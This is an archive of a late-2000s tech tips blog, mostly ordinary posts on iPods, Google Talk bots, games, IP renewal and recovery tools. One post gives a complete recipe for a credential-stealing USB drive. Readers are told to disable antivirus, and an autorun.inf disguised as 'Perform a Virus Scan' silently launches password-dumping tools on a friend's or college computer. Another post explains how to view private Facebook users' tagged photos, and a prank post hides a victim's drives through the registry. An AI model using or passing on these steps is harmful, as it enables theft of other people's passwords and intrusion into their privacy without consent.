~techwilier~

7 Hidden Features of iPod Touch

2010-01-03T05:36:00.001-08:00

iPod is the most popular gadget in the recent years. This is well known fact that people use iPod for listening music and watching video and pictures. But there are other smart hidden features that you can use to enhance the experience of iPod.

1.If you have old machine that does not have DVD drive, you can use you iPod as an extended hard drive. You will be able to transfer documents, music and video files, photos, shared software and so much more. iPod can be loaded with system software and used as a startup disk for your Mac or to install system software on your Mac. iPod cannot be used to start up a PC.
2.Usually, I use iPod periodically to sync music files with iTune. The steps are following:
a.Open iTunes if it doesn't automatically open.
b.Select the iPod icon in the Source pane.
c.Click the Summary tab.
d.Select "Enable disk use" or "Manually manage music and videos." Either one will allow you to use iPod as a drive. If you select "Manually manage music and videos," iTunes won't automatically update iPod with the iTunes library. If you want iTunes to automatically update your iPod, select "Enable disk use" instead.
e.The iPod disk icon pops up on the desktop in Finder windows, and in My Computer/Computer in Windows. Just double-click the icon and drag files to or from iPod to your computer.
3.Your iPod can freeze if you start you computer while your iPod is connected or disconnected without taking it out from iTunes. You need to reboot the device as per the reboot instruction.
4.If you come across with any problem of your iPod, you can run diagnostic test to figure out the problems. If you are smart enough, you will be able to solve the problem.
5.The other cool feature is renaming your iPod. Select the iPod on the left hand side of the iTunes window, below Devices. Click its name again. iPod's name is highlighted. You can type a new name and hit 'Enter'.
6.The iPod contains something called Accelerometer. This lets the device know whether the disk is moving and in which direction. This is used in many games, say, to tip a ball in a certain direction. It is also used in other applications like shaking the device in order to activate some function.
7.You will be able to adjust any image in real time using iPods Motion Sensing. When you move the Ipod, the image also moves, just as your finger would if you were to slide it across, and the image gets bigger by moving the ipod closer as it would if you did the 2 finger zoom function.

My 2010 Technology Wish List

2010-01-03T04:44:00.000-08:00

Here’s a list of some of the things I’d like to see tech-wise this year:

1. A tool that deletes profiles from all those Web 2.0 services that I’ve checked out but rarely, if ever, used over the past few years.

2. An upgrade to the iPhone’s OS that enables easy switching from app to app like the Palm Pre.

3. A new search engine that comes out of nowhere to rival Google, and doesn’t under-deliver such as Cull or Powerset.

4. New Canadian copyright laws that strike a fair balance between owners and users.

5. A lot less talk (aka hype) about Twitter, and a lot more walk (e.g. a business plan)

6. New sources of early-stage funding for Canadian high-tech entrepreneurs.

7. Some real discussion and exploration about the rise of “publicy” and the demise of “privacy”. While everyone seems to have accepted the fact that everything is now public, no one seems to really be looking at the social implications.

8. The continued emergence of alternative/green energy given Jeff Rubin’s book “Why Your World is About to Get a Whole Lot Smaller: Oil and the End of Globalization” has me completely spooked.

9. The end of “2.0′ or “3.0″ for anything.

10. Newspapers and magazines discover a way to stay viable so they can continue to create high-quality content and employ all the journalists who provide material used by millions of bloggers and social network users. Maybe the Kindle will be the newspaper industry’s salvation.

Finally, all the best for everyone in 2010!

Useful Google Talk Bots That You Must Add as Friend !!!

2009-12-12T07:45:00.000-08:00

Useful Google Talk Bots That You Must Add as Frnd
Here are the eleven most useful ‘bots’ that transform Google Talk into a more useful program:

feeds 1. imfeeds@gmail.com - Add this IM Feeds bot as your Google Talk buddy and you’ll be able to read any blog or website that syndicates content via RSS feeds.

To subscribe to a website in GTalk, simply send a new IM message that says “sub xxx.com” where xxx.com is the site address that you want to read inside Google Talk.

2. friendfeed@bot.im - This secret bot lets you post to FriendFeed from Google Talk. You may submit either hyperlinks or text messages.

3. imified@imified.com - This imified bot turns Google Talk into a real powerhouse.

imifiedYou can post bookmarks to delicious, send messages to Twitter, submit blog entries to WordPress, Tumblr or Blogger, manage events in Google Calendar, shorten long URLs, run whois and so on.

4. inezhabot@gmail.com - Like IM Feeds, iNezha bot helps you read feeds inside Google Talk but this is slightly more versatile. For instance, you can simply say “digg” and it will show a list of all feeds that match that search term so you don’t have to type (or copy-paste) feed addresses.

5. Translation - This is a free service from Google that helps you translate words from a foreign language into your native language. Just add the relevant bot (e.g. hi2en@bot.talk.google.com for Hindi to English or en2hi@bot.talk.google.com for English to Hindi) as your buddy, send him a message and it will get translated instantly.

6. Use Google Talk with Twitter - Invite twitter@twitter.com to become your friend in Google Talk and verify your account. Now whenever you IM this new friend, the message will automatically publish on your twitter account.

7. Set Task Reminders - If you need to remember something important, Google Talk can send you reminders for that event.

Just add timer to your Twitter friend’s list and then add twitter@twitter.com to your buddy list in Gtalk. Now if you want to get a reminder after 50 minutes, send a direct message to twitter like “d timer 50 pick kids from school” and a reminder will automatically pop up in your Google Talk after 50 minutes.

8. Transliteration - If you want to chat in your mother tongue (like Hindi or Tamil) but feel more comfortable using the English keyboard, Google Transliteration bot will come in handy.

9. Xpenser - With xpenser, you can record travel expenses via email, SMS or even Google talk. Add xpenserbot@gmail.com as your buddy and send a message like “lunch 33.2 with Bill Gates” and that will be added as an expense to your online spreadsheet that can be accessed from anywhere.

10. Ping.fm - Like Imified, ping.fm is one of the most useful Google bots out there especially if you are a social networking or micro-blogging addict.

Add pingdotfm@gmail.com to Gtalk and you can communicate with twitter, jaiku, wordpress, identi.ca, facebook, myspace, bebo, friendfeed, linkedin, tumblr, plaxo, friendster, delicious and more.

11. Meshly - Add meshly@gmail.com as your friend and you’ll be able to post web link to your Meshly account via Google Talk. You can also add tags, categories and description to your hyperlink via Gtalk itself.

Receive Feed Updates in Skype, MSN, Google Talk or Email

2009-12-11T23:34:00.000-08:00

The feeds that you add to the service are delivered right to your Instant Messenger, Skype or Mail box which offers some practical uses. I have Skype enabled all the time usually which means it is more convenient to receive feed updates in Skype instead of opening Netvibes or Google Reader.

It works by adding a bot as a contact in Skype. (I suppose it works the same way in MSN and Google Talk). Once the bot has been accepted as a contact it will add feed updates right into a private chat window displaying the usual summary and a link to the article on the original website.

Feeds can be added using the feed url of the feed or by exploring already existing feeds that other users have subscribed to. Feed delivery options can be modified to limit the amount of updated feeds at a time, set a delivery timeframe (great for work / sparetime), to send only the title, title and summary.

Lots of options at hand which makes Inezha, or how they call themselves Anothr, a valuable unique service that should appeal to many users. Instead of using the website interface users can communicate with the bot directly. Subscribing to feeds is possible by issuing the command “+ feed url” for instance.

Feeds can be imported in the OPML format which is supported by many Feed readers including Netvibes and Google Reader.

Top 8 PlayStation 3 games for Christmas!

2009-11-30T08:49:00.000-08:00

Top 10 PlayStation 3 games for Christmas!
Looking for something to liven up your Xmas list? You can't be without these

Can't decide which games you'd like to receive from ? Need help picking the perfect gift for the gamer in your life? Assistance is at hand! Over the next week, techwilie will be bringing you its selection of recommended recent titles, starting with the finest gems from the PlayStation 3 release calendar. I've even put these in a totally subjective order of merit so as to court some festive controversy.

1. Uncharted 2 (Naughty Dog, Sony)

2. Call of Duty: Modern Warfare 2 (Infinity Ward, Activision)

3. Assassin's Creed 2 (Ubisoft Montreal)

4. Batman: Arkham Asylum (Rocksteady Studios, Eidos)

5. Fifa 10 (EA Sports, EA)

6. Colin McRae Dirt 2 (Codemasters)

7. Dragon Age: Origins (Bioware, EA)

8. Ratchet and Clank: A Crack in Time (Insomniac, Sony)

How to hack passwords using USB Drive!

2009-11-30T07:22:00.000-08:00

Today I will show you how to hack Passwords using an USB Pen Drive.
As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc.
Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend’s/college Computer.
We need the following tools to create our rootkit:
MessenPass:Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.

Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it:

Code:

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy theautorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it:

Code:
start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

NOTE: This hack works on Windows 2000, XP,Vista and 7

Facebook Hack: How to See the Album of Any Private User

2009-11-28T11:34:00.000-08:00

Facebook has grown stupendously popular over the years. As you probably know by now that we have discussed 10 ways to connect facebook to other social networking media and Top 30 Newest Facebook Apps to Brighten Up 2009 and people liked it. Today we are here with a different intention.
While privacy is a thing of assurance for some, it is annoyance for most. So here is a trick that will help you to see any locked profile. This trick will let you seeanyone’s tagged photos even if they are private for you.

Trick

Step1: Log into facebook and don't worry about making another account. They will not be able to trace you down and ban you.

Step2:

Find the person's unique profile ID.
Search for them and click view friends or send message.
Write the unique ID from the address bar (only the numbers) or copy it somewhere else.

Step3: Now that you have your unique profile ID you can use the next two links to view a total of 40 tagged photos:
If you wish to see tagged photos added by others use this link:

http://www.facebook.com/photo.php?pid=12345678&op=1&view=all&subj=[Unique ID]&id=[Unique ID]

If you wish to see tagged photos added by themselves use this link:

http://www.facebook.com/photo.php?pid=13245678&op=1&view=user&subj=[Unique ID]&id=[Unique ID]

Each link contains two places for [Unique ID] you simply replace this with the person’s unique ID that you have copied at the first step.
REMOVE THE BRACKETS IN [UNIQUE ID] .. replace that whole thing with the profile ID you copied.
Step4: You can now see up to 40 photos of someone on a private profile. Enjoy.
[Note: Information via brettz, we haven't tested it ourselves. It is for informational purposes only and not intended to be used.]

How to Hide the local drives (c:,d:,e:,a:...etc)

2009-01-21T13:05:00.001-08:00

This is a great trick you can play on your friends. To disable the display of local or networked drives when you open My Computer follow the below steps....
1.Go to start->run.Type "regedit" (without quotes).
Now go to:
HKEY_CURRENT_USER\Software\Microsoft\Win

dows\CurrentVersion\Policies\Explorer

Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer. So, now when you click on My Computer, no drives will be shown(all gone...). To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again. Magic........

How To: Change Your Ip In Less Then 1 Minute

2009-01-20T06:00:00.000-08:00

This article will help you to change your IP address within a minute. Just follow the following step and you will be thru.

1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit ok

You should now be at an MSDOS prompt screen.

4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your desktop.
7. Click on "properties"

You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.

8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
10. Click on "Use the following IP address" under the "General" tab
11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
13. Hit the "Ok" button here
14. Hit the "Ok" button again

You should now be back to the "Local Area Connection" screen.

15. Right-click back on "Local Area Connection" and go to properties again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP address automatically"
tongue.gif 18. Hit "Ok"
19. Hit "Ok" again
20. You now have a new IP address

With a little practice, you can easily get this process down to 15 seconds.

10 Ways to Integrate YouTube on Your Site

2009-01-20T05:59:00.001-08:00

YouTube gains great popularity with every day. If you’re a blogger and want to introduce some qualitative improvements to your blog, you can integrate YouTube.

Here are 10 ways how you can do it. It’s up to you to choose one that will be appropriate for you.

1. YouTube Embed Code: YouTube provides “Embed” code for just about every video on its site. It’s meant as an easy way to copy and paste the code to place a video onto your site / MySpace page, or whatever.

2. Copy and paste URL to the YouTube video page onto your site. Here you can find a more detailed explanation.

3. Create a Video Playlist: login to your YouTube account, upload your videos to YouTube - click on My Account link at the top. Your email address will be confirmed before you are allowed to upload videos.

4. Include as a Sidebar Element: Blogger enables you to add YouTube videos as a sidebar element to your blog. Use the Blogger Dashboard to go to the Template tab, click Add a Page Element, and then select Video Bar.

5. Link your site to YouTube: In your account settings you can add your blogs and Web sites to YouTube. Then when you want to add a video to your blog of Web site you can do it with just a few clicks. See a detailed description at about.com.

6. Blog Video: find out how to use the easy Blog Video link in order to integrate YouTube onto your site.

7. Put YouTube on your MySpace page: a step-by-step guide for putting YouTube clips onto your MySpace page.

8. Badge Maker: use this tool will notify your readers of the most recent videos you’ve posted on your blog.

9. Exlusively for CS Blogs: This guide shows you how to integrate YouTube into your CS Blog.

10. Wordpress Widget for your Favorite Videos: tutorial about how to install a widget that will allow your site’s visitors to see your favorite YouTube videos.

The Best Free Computer System Recovery Tools

2009-01-20T05:56:00.000-08:00

If you had lost some very important data, or if you see that your computer is simply dying, the following recovery tools will be indispensable for you. You’d better burn yourself several of these useful tools before the disastrous thing happens.

SuperDuper is a program that makes recovery painless, because it makes creating a fully bootable backup painless. Its incredibly clear, friendly interface is understandable, easy to use, and SuperDuper’s built-in scheduler makes it trivial to back up automatically. And it runs beautifully on both Intel and Power PC Macs. It is an indispensable tool, specially if your hard drive starts making that horrible clicking noise, your most important day-to-day application isn’t working with the system update you just applied, or you need to restore a stable copy of your system, but don’t want to lose what you’ve been working on, or other similar cases.

The Ultimate Boot CD will be of great help if you want to run floppy-based diagnostic tools from CDROM drives, consolidate as many diagnostic tools as possible into one bootable CD. Avoid digging into the dusty box to look for the right floppy disk, but simply run them all from a single CD.
Now you can run Ultimate Boot CD from your USB memory stick. A script on the CD prepares your USB memory stick so that it can be used on newer machines that supports booting from USB devices.

KNOPPIX is a bootable CD with a collection of GNU/Linux software, automatic hardware detection, and support for many graphics cards, sound cards, SCSI and USB devices and other peripherals. It can be used as a Linux demo, educational CD, rescue system, or adapted and used as a platform for commercial software product demos. It is not necessary to install anything on a hard disk. Due to on-the-fly decompression, the CD can have up to 2 GB of executable software installed on it.

Ghost for Linux is a hard disk and partition imaging and cloning tool similar to Norton Ghost. The created images are optionally compressed and transferred to an FTP server instead of cloning locally.

GParted Live CD aims to be fast, small in size (~50mb), and use minimal resources to get that disk partitioned the way you want it. GParted Live CD is based on Gentoo-catalyst, and uses Xorg, the lightweight Fluxbox window manager,
and the latest 2.6 Linux Kernel. The CD also offers the following programs: parted and fdisk vi, ntfs-3g, partimage, testdisk, Terminal and Midnight Commander.

SystemRescueCd is a Linux system on a bootable CD-ROM for repairing your system and recovering your data after a crash. It aims to provide an easy way to carry out admin tasks on your computer, such as creating and editing the partitions of the hard disk.

The Magical Jelly Bean Key Finder is a freeware utility that retrieves your Product Key (cd key) used to install windows from your registry. It has the options to copy the key to clipboard, save it to a text file, or print it for safekeeping. It works on Windows 95, 98, ME, NT4, 2000, XP, Server 2003, Windows Vista, Office 97, Office XP, and Office 2003.

Undelete Plus is a quick and effective way to retrieve accidentally deleted files, files removed from the Recycle Bin, in a DOS window, from a network drive, from Windows Explorer with the SHIFT key held down.
It works under Win 95/98/Me/NT/2000/XP/2003/Vista operating systems. The program supports all Windows file systems for hard and floppy drives.

System Information for Windows is a tool that gathers detailed information about your system properties and settings and displays it in an extremely comprehensible manner.
It can create a report file (CSV, HTML, TXT or XML), and is able to run in batch mode (for Asset Inventory Tracking, Software and Hardware Inventory, PC Audit, Software Audit, Software License Compliance Management).

USB PC Repair Kit is a list of programs. The programs are loaded onto a USB Pen Drive to help fix your computer. The Kit contains the programs that can tell you if you really need to reboot after installing a program or permanently erase sensitive data from your hard drive that may still exist after using the windows delete feature.

TestDisk is a powerful free data recovery software. It was primarily designed to help recover lost partitions and/or make non-booting disks bootable again when these symptoms are caused by faulty software, certain types of viruses or human error (such as accidentally deleting your Partition Table). Partition table recovery using TestDisk is really easy.

FSBackup is a shell script that automates the execution of backups using the tar archiving utility. It is designed for use by technically knowledgeable users (programmers, system administrators, or other power users), for backing up a small network or individual computers.

Corruption Corrector is a program designed for fixing corrupt files. It is for situations when you have (downloaded) many copies of the same file, but all of the copies are a bit corrupt. If the corruptions are in different parts of the file, it is possible to combine the good bytes from each file and get an uncorrupted copy of the file.

myrescue is a program to rescue the still-readable data from a damaged hard disk. It is similar in purpose to dd_rescue, but it tries to quickly get out of damaged areas to first handle the not yet damaged part of the disk and return later.

Relax and Recover is a highly modular disaster recovery framework for GNU/Linux based systems, but can be easily extended to other UNIX alike systems. The disaster recovery information (and maybe the backups) can be stored via the network, local on hard disks or USB devices, DVD/CD-R, tape, etc. The result is also a bootable image that is capable of booting via PXE, DVD/CD and tape (OBDR).

WindowsXP should now boot REALLY faster.

2009-01-20T05:39:00.000-08:00

First of all, this tweak only apply to those who only have one HDD on their primary IDE channel (nothing else on device 0 or 1) and a CD-ROM and/or DVD-ROM on the secondary IDE channel. Each time you boot Windows XP, there's an updated file called NTOSBOOT-*.pf who appears in your prefetch directory (%SystemRoot%Prefetch) and there's no need to erease any other files as the new prefetch option in XP really improves loading time of installed programs. We only want WindowsXP to boot faster and not decrease its performance. , result in an EXTREMELY fast bootup:

1. Open notepad.exe, type "del c:windowsprefetch tosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:
2. From the Start menu, select "Run..." & type "gpedit.msc".
3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.
4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".
5. Click "OK", "Apply" & "OK" once again to exit.
6. From the Start menu, select "Run..." & type "devmgmt.msc".
7. Double click on "IDE ATA/ATAPI controllers"
8. Right click on "Primary IDE Channel" and select "Properties".
9. Select the "Advanced Settings" tab then on the device 0 or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' & click "OK".
10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.
11. Reboot your computer.